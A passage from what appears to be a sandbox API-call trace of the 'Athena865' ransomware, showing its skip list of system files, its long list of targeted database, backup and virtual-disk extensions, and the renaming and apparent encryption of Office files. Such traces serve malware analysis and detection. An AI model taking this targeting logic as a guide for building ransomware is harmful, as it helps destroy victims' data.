returned 3 [0072.933] lstrcmpiW (lpString1="xss", lpString2="dct") returned 1 [0072.933] lstrlenW (lpString="dcx") returned 3 [0072.933] lstrcmpiW (lpString1="xss", lpString2="dcx") returned 1 [0072.933] lstrlenW (lpString="ddl") returned 3 [0072.933] lstrcmpiW (lpString1="xss", lpString2="ddl") returned 1 [0072.933] lstrlenW (lpString="dlis") returned 4 [0072.933] lstrcmpiW (lpString1=".xss", lpString2="dlis") returned -1 [0072.933] lstrlenW (lpString="dp1") returned 3 [0072.933] lstrcmpiW (lpString1="xss", lpString2="dp1") returned 1 [0072.933] lstrlenW (lpString="dqy") returned 3 [0072.933] lstrcmpiW (lpString1="xss", lpString2="dqy") returned 1 [0072.933] lstrlenW (lpString="dsk") returned 3 [0072.933] lstrcmpiW (lpString1="xss", lpString2="dsk") returned 1 [0072.933] lstrlenW (lpString="dsn") returned 3 [0072.933] lstrcmpiW (lpString1="xss", lpString2="dsn") returned 1 [0072.933] lstrlenW (lpString="dtsx") returned 4 [0072.933] lstrcmpiW (lpString1=".xss", lpString2="dtsx") returned -1 [0072.933] lstrlenW (lpString="dxl") returned 3 [0072.933] lstrcmpiW (lpString1="xss", lpString2="dxl") returned 1 [0072.933] lstrlenW (lpString="eco") returned 3 [0072.933] lstrcmpiW (lpString1="xss", lpString2="eco") returned 1 [0072.933] lstrlenW (lpString="ecx") returned 3 [0072.933] lstrcmpiW (lpString1="xss", lpString2="ecx") returned 1 [0072.933] lstrlenW (lpString="edb") returned 3 [0072.933] lstrcmpiW (lpString1="xss", lpString2="edb") returned 1 [0072.933] lstrlenW (lpString="epim") returned 4 [0072.933] lstrcmpiW (lpString1=".xss", lpString2="epim") returned -1 [0072.933] lstrlenW (lpString="fcd") returned 3 [0072.933] lstrcmpiW (lpString1="xss", lpString2="fcd") returned 1 [0072.934] lstrlenW (lpString="fdb") returned 3 [0072.934] lstrcmpiW (lpString1="xss", lpString2="fdb") returned 1 [0072.934] lstrlenW (lpString="fic") returned 3 [0072.934] lstrcmpiW (lpString1="xss", lpString2="fic") returned 1 [0072.934] lstrlenW (lpString="flexolibrary") returned 12 [0072.934] lstrcmpiW (lpString1="ources14.xss", lpString2="flexolibrary") returned 1 [0072.934] lstrlenW (lpString="fm5") returned 3 [0072.934] lstrcmpiW (lpString1="xss", lpString2="fm5") returned 1 [0072.934] lstrlenW (lpString="fmp") returned 3 [0072.934] lstrcmpiW (lpString1="xss", lpString2="fmp") returned 1 [0072.934] lstrlenW (lpString="fmp12") returned 5 [0072.934] lstrcmpiW (lpString1="4.xss", lpString2="fmp12") returned -1 [0072.934] lstrlenW (lpString="fmpsl") returned 5 [0072.934] lstrcmpiW (lpString1="4.xss", lpString2="fmpsl") returned -1 [0072.934] lstrlenW (lpString="fol") returned 3 [0072.934] lstrcmpiW (lpString1="xss", lpString2="fol") returned 1 [0072.934] lstrlenW (lpString="fp3") returned 3 [0072.934] lstrcmpiW (lpString1="xss", lpString2="fp3") returned 1 [0072.934] lstrlenW (lpString="fp4") returned 3 [0072.934] lstrcmpiW (lpString1="xss", lpString2="fp4") returned 1 [0072.934] lstrlenW (lpString="fp5") returned 3 [0072.934] lstrcmpiW (lpString1="xss", lpString2="fp5") returned 1 [0072.934] lstrlenW (lpString="fp7") returned 3 [0072.934] lstrcmpiW (lpString1="xss", lpString2="fp7") returned 1 [0072.934] lstrlenW (lpString="fpt") returned 3 [0072.934] lstrcmpiW (lpString1="xss", lpString2="fpt") returned 1 [0072.934] lstrlenW (lpString="frm") returned 3 [0072.934] lstrcmpiW (lpString1="xss", lpString2="frm") returned 1 [0072.934] lstrlenW (lpString="gdb") returned 3 [0072.934] lstrcmpiW (lpString1="xss", lpString2="gdb") returned 1 [0072.934] lstrlenW (lpString="gdb") returned 3 [0072.935] lstrcmpiW (lpString1="xss", lpString2="gdb") returned 1 [0072.935] lstrlenW (lpString="grdb") returned 4 [0072.935] lstrcmpiW (lpString1=".xss", lpString2="grdb") returned -1 [0072.935] lstrlenW (lpString="gwi") returned 3 [0072.935] lstrcmpiW (lpString1="xss", lpString2="gwi") returned 1 [0072.935] lstrlenW (lpString="hdb") returned 3 [0072.935] lstrcmpiW (lpString1="xss", lpString2="hdb") returned 1 [0072.935] lstrlenW (lpString="his") returned 3 [0072.935] lstrcmpiW (lpString1="xss", lpString2="his") returned 1 [0072.935] lstrlenW (lpString="ib") returned 2 [0072.935] lstrcmpiW (lpString1="ss", lpString2="ib") returned 1 [0072.935] lstrlenW (lpString="idb") returned 3 [0072.935] lstrcmpiW (lpString1="xss", lpString2="idb") returned 1 [0072.935] lstrlenW (lpString="ihx") returned 3 [0072.935] lstrcmpiW (lpString1="xss", lpString2="ihx") returned 1 [0072.935] lstrlenW (lpString="itdb") returned 4 [0072.935] lstrcmpiW (lpString1=".xss", lpString2="itdb") returned -1 [0072.935] lstrlenW (lpString="itw") returned 3 [0072.935] lstrcmpiW (lpString1="xss", lpString2="itw") returned 1 [0072.935] lstrlenW (lpString="jet") returned 3 [0072.935] lstrcmpiW (lpString1="xss", lpString2="jet") returned 1 [0072.935] lstrlenW (lpString="jtx") returned 3 [0072.935] lstrcmpiW (lpString1="xss", lpString2="jtx") returned 1 [0072.935] lstrlenW (lpString="kdb") returned 3 [0072.935] lstrcmpiW (lpString1="xss", lpString2="kdb") returned 1 [0072.935] lstrlenW (lpString="kexi") returned 4 [0072.935] lstrcmpiW (lpString1=".xss", lpString2="kexi") returned -1 [0072.935] lstrlenW (lpString="kexic") returned 5 [0072.935] lstrcmpiW (lpString1="4.xss", lpString2="kexic") returned -1 [0072.935] lstrlenW (lpString="kexis") returned 5 [0072.935] lstrcmpiW (lpString1="4.xss", lpString2="kexis") returned -1 [0072.935] lstrlenW (lpString="lgc") returned 3 [0072.936] lstrcmpiW (lpString1="xss", lpString2="lgc") returned 1 [0072.936] lstrlenW (lpString="lwx") returned 3 [0072.936] lstrcmpiW (lpString1="xss", lpString2="lwx") returned 1 [0072.936] lstrlenW (lpString="maf") returned 3 [0072.936] lstrcmpiW (lpString1="xss", lpString2="maf") returned 1 [0072.936] lstrlenW (lpString="maq") returned 3 [0072.936] lstrcmpiW (lpString1="xss", lpString2="maq") returned 1 [0072.936] lstrlenW (lpString="mar") returned 3 [0072.936] lstrcmpiW (lpString1="xss", lpString2="mar") returned 1 [0072.936] lstrlenW (lpString="marshal") returned 7 [0072.936] lstrcmpiW (lpString1="s14.xss", lpString2="marshal") returned 1 [0072.936] lstrlenW (lpString="mas") returned 3 [0072.936] lstrcmpiW (lpString1="xss", lpString2="mas") returned 1 [0072.936] lstrlenW (lpString="mav") returned 3 [0072.936] lstrcmpiW (lpString1="xss", lpString2="mav") returned 1 [0072.936] lstrlenW (lpString="maw") returned 3 [0072.936] lstrcmpiW (lpString1="xss", lpString2="maw") returned 1 [0072.936] lstrlenW (lpString="mdbhtml") returned 7 [0072.936] lstrcmpiW (lpString1="s14.xss", lpString2="mdbhtml") returned 1 [0072.936] lstrlenW (lpString="mdn") returned 3 [0072.936] lstrcmpiW (lpString1="xss", lpString2="mdn") returned 1 [0072.936] lstrlenW (lpString="mdt") returned 3 [0072.936] lstrcmpiW (lpString1="xss", lpString2="mdt") returned 1 [0072.936] lstrlenW (lpString="mfd") returned 3 [0072.936] lstrcmpiW (lpString1="xss", lpString2="mfd") returned 1 [0072.936] lstrlenW (lpString="mpd") returned 3 [0072.936] lstrcmpiW (lpString1="xss", lpString2="mpd") returned 1 [0072.936] lstrlenW (lpString="mrg") returned 3 [0072.936] lstrcmpiW (lpString1="xss", lpString2="mrg") returned 1 [0072.936] lstrlenW (lpString="mud") returned 3 [0072.936] lstrcmpiW (lpString1="xss", lpString2="mud") returned 1 [0072.936] lstrlenW (lpString="mwb") returned 3 [0072.936] lstrcmpiW (lpString1="xss", lpString2="mwb") returned 1 [0072.937] lstrlenW (lpString="myd") returned 3 [0072.937] lstrcmpiW (lpString1="xss", lpString2="myd") returned 1 [0072.937] lstrlenW (lpString="ndf") returned 3 [0072.937] lstrcmpiW (lpString1="xss", lpString2="ndf") returned 1 [0072.937] lstrlenW (lpString="nnt") returned 3 [0072.937] lstrcmpiW (lpString1="xss", lpString2="nnt") returned 1 [0072.937] lstrlenW (lpString="nrmlib") returned 6 [0072.937] lstrcmpiW (lpString1="14.xss", lpString2="nrmlib") returned -1 [0072.937] lstrlenW (lpString="ns2") returned 3 [0072.937] lstrcmpiW (lpString1="xss", lpString2="ns2") returned 1 [0072.937] lstrlenW (lpString="ns3") returned 3 [0072.937] lstrcmpiW (lpString1="xss", lpString2="ns3") returned 1 [0072.937] lstrlenW (lpString="ns4") returned 3 [0072.937] lstrcmpiW (lpString1="xss", lpString2="ns4") returned 1 [0072.937] lstrlenW (lpString="nsf") returned 3 [0072.937] lstrcmpiW (lpString1="xss", lpString2="nsf") returned 1 [0072.937] lstrlenW (lpString="nv") returned 2 [0072.937] lstrcmpiW (lpString1="ss", lpString2="nv") returned 1 [0072.937] lstrlenW (lpString="nv2") returned 3 [0072.937] lstrcmpiW (lpString1="xss", lpString2="nv2") returned 1 [0072.937] lstrlenW (lpString="nwdb") returned 4 [0072.937] lstrcmpiW (lpString1=".xss", lpString2="nwdb") returned -1 [0072.937] lstrlenW (lpString="nyf") returned 3 [0072.937] lstrcmpiW (lpString1="xss", lpString2="nyf") returned 1 [0072.937] lstrlenW (lpString="odb") returned 3 [0072.937] lstrcmpiW (lpString1="xss", lpString2="odb") returned 1 [0072.937] lstrlenW (lpString="odb") returned 3 [0072.937] lstrcmpiW (lpString1="xss", lpString2="odb") returned 1 [0072.937] lstrlenW (lpString="oqy") returned 3 [0072.937] lstrcmpiW (lpString1="xss", lpString2="oqy") returned 1 [0072.937] lstrlenW (lpString="ora") returned 3 [0072.937] lstrcmpiW (lpString1="xss", lpString2="ora") returned 1 [0072.937] lstrlenW (lpString="orx") returned 3 [0072.938] lstrcmpiW (lpString1="xss", lpString2="orx") returned 1 [0072.938] lstrlenW (lpString="owc") returned 3 [0072.938] lstrcmpiW (lpString1="xss", lpString2="owc") returned 1 [0072.938] lstrlenW (lpString="p96") returned 3 [0072.938] lstrcmpiW (lpString1="xss", lpString2="p96") returned 1 [0072.938] lstrlenW (lpString="p97") returned 3 [0072.938] lstrcmpiW (lpString1="xss", lpString2="p97") returned 1 [0072.938] lstrlenW (lpString="pan") returned 3 [0072.938] lstrcmpiW (lpString1="xss", lpString2="pan") returned 1 [0072.938] lstrlenW (lpString="pdb") returned 3 [0072.938] lstrcmpiW (lpString1="xss", lpString2="pdb") returned 1 [0072.938] lstrlenW (lpString="pdm") returned 3 [0072.938] lstrcmpiW (lpString1="xss", lpString2="pdm") returned 1 [0072.938] lstrlenW (lpString="pnz") returned 3 [0072.938] lstrcmpiW (lpString1="xss", lpString2="pnz") returned 1 [0072.938] lstrlenW (lpString="qry") returned 3 [0072.938] lstrcmpiW (lpString1="xss", lpString2="qry") returned 1 [0072.938] lstrlenW (lpString="qvd") returned 3 [0072.938] lstrcmpiW (lpString1="xss", lpString2="qvd") returned 1 [0072.938] lstrlenW (lpString="rbf") returned 3 [0072.938] lstrcmpiW (lpString1="xss", lpString2="rbf") returned 1 [0072.938] lstrlenW (lpString="rctd") returned 4 [0072.938] lstrcmpiW (lpString1=".xss", lpString2="rctd") returned -1 [0072.938] lstrlenW (lpString="rod") returned 3 [0072.938] lstrcmpiW (lpString1="xss", lpString2="rod") returned 1 [0072.938] lstrlenW (lpString="rodx") returned 4 [0072.938] lstrcmpiW (lpString1=".xss", lpString2="rodx") returned -1 [0072.938] lstrlenW (lpString="rpd") returned 3 [0072.938] lstrcmpiW (lpString1="xss", lpString2="rpd") returned 1 [0072.938] lstrlenW (lpString="rsd") returned 3 [0072.938] lstrcmpiW (lpString1="xss", lpString2="rsd") returned 1 [0072.938] lstrlenW (lpString="sas7bdat") returned 8 [0072.939] lstrcmpiW (lpString1="es14.xss", lpString2="sas7bdat") returned -1 [0072.939] lstrlenW (lpString="sbf") returned 3 [0072.939] lstrcmpiW (lpString1="xss", lpString2="sbf") returned 1 [0072.939] lstrlenW (lpString="scx") returned 3 [0072.939] lstrcmpiW (lpString1="xss", lpString2="scx") returned 1 [0072.939] lstrlenW (lpString="sdb") returned 3 [0072.939] lstrcmpiW (lpString1="xss", lpString2="sdb") returned 1 [0072.939] lstrlenW (lpString="sdc") returned 3 [0072.939] lstrcmpiW (lpString1="xss", lpString2="sdc") returned 1 [0072.939] lstrlenW (lpString="sdf") returned 3 [0072.939] lstrcmpiW (lpString1="xss", lpString2="sdf") returned 1 [0072.939] lstrlenW (lpString="sis") returned 3 [0072.939] lstrcmpiW (lpString1="xss", lpString2="sis") returned 1 [0072.939] lstrlenW (lpString="spq") returned 3 [0072.939] lstrcmpiW (lpString1="xss", lpString2="spq") returned 1 [0072.939] lstrlenW (lpString="te") returned 2 [0072.939] lstrcmpiW (lpString1="ss", lpString2="te") returned -1 [0072.939] lstrlenW (lpString="teacher") returned 7 [0072.939] lstrcmpiW (lpString1="s14.xss", lpString2="teacher") returned -1 [0072.939] lstrlenW (lpString="tmd") returned 3 [0072.939] lstrcmpiW (lpString1="xss", lpString2="tmd") returned 1 [0072.939] lstrlenW (lpString="tps") returned 3 [0072.939] lstrcmpiW (lpString1="xss", lpString2="tps") returned 1 [0072.939] lstrlenW (lpString="trc") returned 3 [0072.939] lstrcmpiW (lpString1="xss", lpString2="trc") returned 1 [0072.939] lstrlenW (lpString="trc") returned 3 [0072.939] lstrcmpiW (lpString1="xss", lpString2="trc") returned 1 [0072.939] lstrlenW (lpString="trm") returned 3 [0072.939] lstrcmpiW (lpString1="xss", lpString2="trm") returned 1 [0072.939] lstrlenW (lpString="udb") returned 3 [0072.939] lstrcmpiW (lpString1="xss", lpString2="udb") returned 1 [0072.940] lstrlenW (lpString="udl") returned 3 [0072.940] lstrcmpiW (lpString1="xss", lpString2="udl") returned 1 [0072.940] lstrlenW (lpString="usr") returned 3 [0072.940] lstrcmpiW (lpString1="xss", lpString2="usr") returned 1 [0072.940] lstrlenW (lpString="v12") returned 3 [0072.940] lstrcmpiW (lpString1="xss", lpString2="v12") returned 1 [0072.940] lstrlenW (lpString="vis") returned 3 [0072.940] lstrcmpiW (lpString1="xss", lpString2="vis") returned 1 [0072.940] lstrlenW (lpString="vpd") returned 3 [0072.940] lstrcmpiW (lpString1="xss", lpString2="vpd") returned 1 [0072.940] lstrlenW (lpString="vvv") returned 3 [0072.940] lstrcmpiW (lpString1="xss", lpString2="vvv") returned 1 [0072.940] lstrlenW (lpString="wdb") returned 3 [0072.940] lstrcmpiW (lpString1="xss", lpString2="wdb") returned 1 [0072.940] lstrlenW (lpString="wmdb") returned 4 [0072.940] lstrcmpiW (lpString1=".xss", lpString2="wmdb") returned -1 [0072.940] lstrlenW (lpString="wrk") returned 3 [0072.940] lstrcmpiW (lpString1="xss", lpString2="wrk") returned 1 [0072.940] lstrlenW (lpString="xdb") returned 3 [0072.940] lstrcmpiW (lpString1="xss", lpString2="xdb") returned 1 [0072.940] lstrlenW (lpString="xld") returned 3 [0072.940] lstrcmpiW (lpString1="xss", lpString2="xld") returned 1 [0072.940] lstrlenW (lpString="xmlff") returned 5 [0072.940] lstrcmpiW (lpString1="4.xss", lpString2="xmlff") returned -1 [0072.940] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\Installed_resources14.xss.Athena865") returned 78 [0072.940] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Installed_resources14.xss" (normalized: "c:\\program files\\microsoft office\\office14\\installed_resources14.xss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Installed_resources14.xss.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\installed_resources14.xss.athena865"), dwFlags=0x1) returned 1 [0072.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Installed_resources14.xss.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\installed_resources14.xss.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0072.941] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=29016064) returned 1 [0072.942] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0072.942] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0072.942] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0072.942] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0072.943] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0072.943] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0072.943] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1bac300, lpName=0x0) returned 0x17c [0072.944] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x1a00000, dwNumberOfBytesToMap=0x1ac300) returned 0x2d50000 [0073.038] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0073.104] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0073.125] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0073.126] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0073.126] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0073.126] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0073.126] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0073.126] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0073.126] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0073.126] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0073.126] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0073.126] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0073.127] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0073.127] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0073.127] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0073.127] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0073.142] CloseHandle (hObject=0x17c) returned 1 [0073.142] CloseHandle (hObject=0x154) returned 1 [0073.142] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0073.142] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0073.142] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0073.151] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb562a700, ftCreationTime.dwHighDateTime=0x1cacb3f, ftLastAccessTime.dwLowDateTime=0x61e23b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb562a700, ftLastWriteTime.dwHighDateTime=0x1cacb3f, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Installed_schemas14.xss", cAlternateFileName="INSTAL~2.XSS")) returned 1 [0073.151] lstrcmpiW (lpString1="Installed_schemas14.xss", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0073.151] lstrcmpiW (lpString1="Installed_schemas14.xss", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0073.151] lstrcmpiW (lpString1="Installed_schemas14.xss", lpString2=".") returned 1 [0073.151] lstrcmpiW (lpString1="Installed_schemas14.xss", lpString2="..") returned 1 [0073.151] lstrcmpiW (lpString1="Installed_schemas14.xss", lpString2="windows") returned -1 [0073.151] lstrcmpiW (lpString1="Installed_schemas14.xss", lpString2="bootmgr") returned 1 [0073.151] lstrcmpiW (lpString1="Installed_schemas14.xss", lpString2="temp") returned -1 [0073.151] lstrcmpiW (lpString1="Installed_schemas14.xss", lpString2="pagefile.sys") returned -1 [0073.151] lstrcmpiW (lpString1="Installed_schemas14.xss", lpString2="boot") returned 1 [0073.151] lstrcmpiW (lpString1="Installed_schemas14.xss", lpString2="ids.txt") returned 1 [0073.151] lstrcmpiW (lpString1="Installed_schemas14.xss", lpString2="ntuser.dat") returned -1 [0073.151] lstrcmpiW (lpString1="Installed_schemas14.xss", lpString2="perflogs") returned -1 [0073.151] lstrcmpiW (lpString1="Installed_schemas14.xss", lpString2="MSBuild") returned -1 [0073.152] lstrlenW (lpString="Installed_schemas14.xss") returned 23 [0073.152] lstrcpyW (in: lpString1=0x241e89e, lpString2="Installed_schemas14.xss" | out: lpString1="Installed_schemas14.xss") returned="Installed_schemas14.xss" [0073.152] lstrlenW (lpString="Installed_schemas14.xss") returned 23 [0073.152] lstrlenW (lpString="Athena865") returned 9 [0073.152] lstrcmpiW (lpString1="mas14.xss", lpString2="Athena865") returned 1 [0073.152] lstrlenW (lpString=".dll") returned 4 [0073.152] lstrcmpiW (lpString1="Installed_schemas14.xss", lpString2=".dll") returned 1 [0073.152] lstrlenW (lpString=".lnk") returned 4 [0073.152] lstrcmpiW (lpString1="Installed_schemas14.xss", lpString2=".lnk") returned 1 [0073.152] lstrlenW (lpString=".ini") returned 4 [0073.152] lstrcmpiW (lpString1="Installed_schemas14.xss", lpString2=".ini") returned 1 [0073.152] lstrlenW (lpString=".sys") returned 4 [0073.152] lstrcmpiW (lpString1="Installed_schemas14.xss", lpString2=".sys") returned 1 [0073.152] lstrlenW (lpString="Installed_schemas14.xss") returned 23 [0073.152] lstrlenW (lpString="bak") returned 3 [0073.152] lstrcmpiW (lpString1="xss", lpString2="bak") returned 1 [0073.152] lstrlenW (lpString="ba_") returned 3 [0073.152] lstrcmpiW (lpString1="xss", lpString2="ba_") returned 1 [0073.152] lstrlenW (lpString="dbb") returned 3 [0073.152] lstrcmpiW (lpString1="xss", lpString2="dbb") returned 1 [0073.152] lstrlenW (lpString="vmdk") returned 4 [0073.152] lstrcmpiW (lpString1=".xss", lpString2="vmdk") returned -1 [0073.152] lstrlenW (lpString="rar") returned 3 [0073.152] lstrcmpiW (lpString1="xss", lpString2="rar") returned 1 [0073.152] lstrlenW (lpString="zip") returned 3 [0073.152] lstrcmpiW (lpString1="xss", lpString2="zip") returned -1 [0073.152] lstrlenW (lpString="tgz") returned 3 [0073.152] lstrcmpiW (lpString1="xss", lpString2="tgz") returned 1 [0073.152] lstrlenW (lpString="vbox") returned 4 [0073.152] lstrcmpiW (lpString1=".xss", lpString2="vbox") returned -1 [0073.152] lstrlenW (lpString="vdi") returned 3 [0073.152] lstrcmpiW (lpString1="xss", lpString2="vdi") returned 1 [0073.152] lstrlenW (lpString="vhd") returned 3 [0073.153] lstrcmpiW (lpString1="xss", lpString2="vhd") returned 1 [0073.153] lstrlenW (lpString="vhdx") returned 4 [0073.153] lstrcmpiW (lpString1=".xss", lpString2="vhdx") returned -1 [0073.153] lstrlenW (lpString="avhd") returned 4 [0073.153] lstrcmpiW (lpString1=".xss", lpString2="avhd") returned -1 [0073.153] lstrlenW (lpString="db") returned 2 [0073.153] lstrcmpiW (lpString1="ss", lpString2="db") returned 1 [0073.153] lstrlenW (lpString="db2") returned 3 [0073.153] lstrcmpiW (lpString1="xss", lpString2="db2") returned 1 [0073.153] lstrlenW (lpString="db3") returned 3 [0073.153] lstrcmpiW (lpString1="xss", lpString2="db3") returned 1 [0073.153] lstrlenW (lpString="dbf") returned 3 [0073.153] lstrcmpiW (lpString1="xss", lpString2="dbf") returned 1 [0073.153] lstrlenW (lpString="mdf") returned 3 [0073.153] lstrcmpiW (lpString1="xss", lpString2="mdf") returned 1 [0073.153] lstrlenW (lpString="mdb") returned 3 [0073.153] lstrcmpiW (lpString1="xss", lpString2="mdb") returned 1 [0073.153] lstrlenW (lpString="sql") returned 3 [0073.153] lstrcmpiW (lpString1="xss", lpString2="sql") returned 1 [0073.153] lstrlenW (lpString="sqlite") returned 6 [0073.153] lstrcmpiW (lpString1="14.xss", lpString2="sqlite") returned -1 [0073.153] lstrlenW (lpString="sqlite3") returned 7 [0073.153] lstrcmpiW (lpString1="s14.xss", lpString2="sqlite3") returned -1 [0073.153] lstrlenW (lpString="sqlitedb") returned 8 [0073.153] lstrcmpiW (lpString1="as14.xss", lpString2="sqlitedb") returned -1 [0073.153] lstrlenW (lpString="xml") returned 3 [0073.153] lstrcmpiW (lpString1="xss", lpString2="xml") returned 1 [0073.153] lstrlenW (lpString="$er") returned 3 [0073.153] lstrcmpiW (lpString1="xss", lpString2="$er") returned 1 [0073.153] lstrlenW (lpString="4dd") returned 3 [0073.153] lstrcmpiW (lpString1="xss", lpString2="4dd") returned 1 [0073.153] lstrlenW (lpString="4dl") returned 3 [0073.153] lstrcmpiW (lpString1="xss", lpString2="4dl") returned 1 [0073.154] lstrlenW (lpString="^^^") returned 3 [0073.154] lstrcmpiW (lpString1="xss", lpString2="^^^") returned 1 [0073.154] lstrlenW (lpString="abs") returned 3 [0073.154] lstrcmpiW (lpString1="xss", lpString2="abs") returned 1 [0073.154] lstrlenW (lpString="abx") returned 3 [0073.154] lstrcmpiW (lpString1="xss", lpString2="abx") returned 1 [0073.154] lstrlenW (lpString="accdb") returned 5 [0073.154] lstrcmpiW (lpString1="4.xss", lpString2="accdb") returned -1 [0073.154] lstrlenW (lpString="accdc") returned 5 [0073.154] lstrcmpiW (lpString1="4.xss", lpString2="accdc") returned -1 [0073.154] lstrlenW (lpString="accde") returned 5 [0073.154] lstrcmpiW (lpString1="4.xss", lpString2="accde") returned -1 [0073.154] lstrlenW (lpString="accdr") returned 5 [0073.154] lstrcmpiW (lpString1="4.xss", lpString2="accdr") returned -1 [0073.154] lstrlenW (lpString="accdt") returned 5 [0073.154] lstrcmpiW (lpString1="4.xss", lpString2="accdt") returned -1 [0073.154] lstrlenW (lpString="accdw") returned 5 [0073.154] lstrcmpiW (lpString1="4.xss", lpString2="accdw") returned -1 [0073.154] lstrlenW (lpString="accft") returned 5 [0073.154] lstrcmpiW (lpString1="4.xss", lpString2="accft") returned -1 [0073.154] lstrlenW (lpString="adb") returned 3 [0073.154] lstrcmpiW (lpString1="xss", lpString2="adb") returned 1 [0073.154] lstrlenW (lpString="adb") returned 3 [0073.154] lstrcmpiW (lpString1="xss", lpString2="adb") returned 1 [0073.154] lstrlenW (lpString="ade") returned 3 [0073.154] lstrcmpiW (lpString1="xss", lpString2="ade") returned 1 [0073.154] lstrlenW (lpString="adf") returned 3 [0073.154] lstrcmpiW (lpString1="xss", lpString2="adf") returned 1 [0073.154] lstrlenW (lpString="adn") returned 3 [0073.154] lstrcmpiW (lpString1="xss", lpString2="adn") returned 1 [0073.154] lstrlenW (lpString="adp") returned 3 [0073.154] lstrcmpiW (lpString1="xss", lpString2="adp") returned 1 [0073.154] lstrlenW (lpString="alf") returned 3 [0073.154] lstrcmpiW (lpString1="xss", lpString2="alf") returned 1 [0073.155] lstrlenW (lpString="ask") returned 3 [0073.155] lstrcmpiW (lpString1="xss", lpString2="ask") returned 1 [0073.155] lstrlenW (lpString="btr") returned 3 [0073.155] lstrcmpiW (lpString1="xss", lpString2="btr") returned 1 [0073.155] lstrlenW (lpString="cat") returned 3 [0073.155] lstrcmpiW (lpString1="xss", lpString2="cat") returned 1 [0073.155] lstrlenW (lpString="cdb") returned 3 [0073.155] lstrcmpiW (lpString1="xss", lpString2="cdb") returned 1 [0073.155] lstrlenW (lpString="ckp") returned 3 [0073.155] lstrcmpiW (lpString1="xss", lpString2="ckp") returned 1 [0073.155] lstrlenW (lpString="cma") returned 3 [0073.155] lstrcmpiW (lpString1="xss", lpString2="cma") returned 1 [0073.155] lstrlenW (lpString="cpd") returned 3 [0073.155] lstrcmpiW (lpString1="xss", lpString2="cpd") returned 1 [0073.155] lstrlenW (lpString="dacpac") returned 6 [0073.155] lstrcmpiW (lpString1="14.xss", lpString2="dacpac") returned -1 [0073.155] lstrlenW (lpString="dad") returned 3 [0073.155] lstrcmpiW (lpString1="xss", lpString2="dad") returned 1 [0073.155] lstrlenW (lpString="dadiagrams") returned 10 [0073.155] lstrcmpiW (lpString1="emas14.xss", lpString2="dadiagrams") returned 1 [0073.155] lstrlenW (lpString="daschema") returned 8 [0073.155] lstrcmpiW (lpString1="as14.xss", 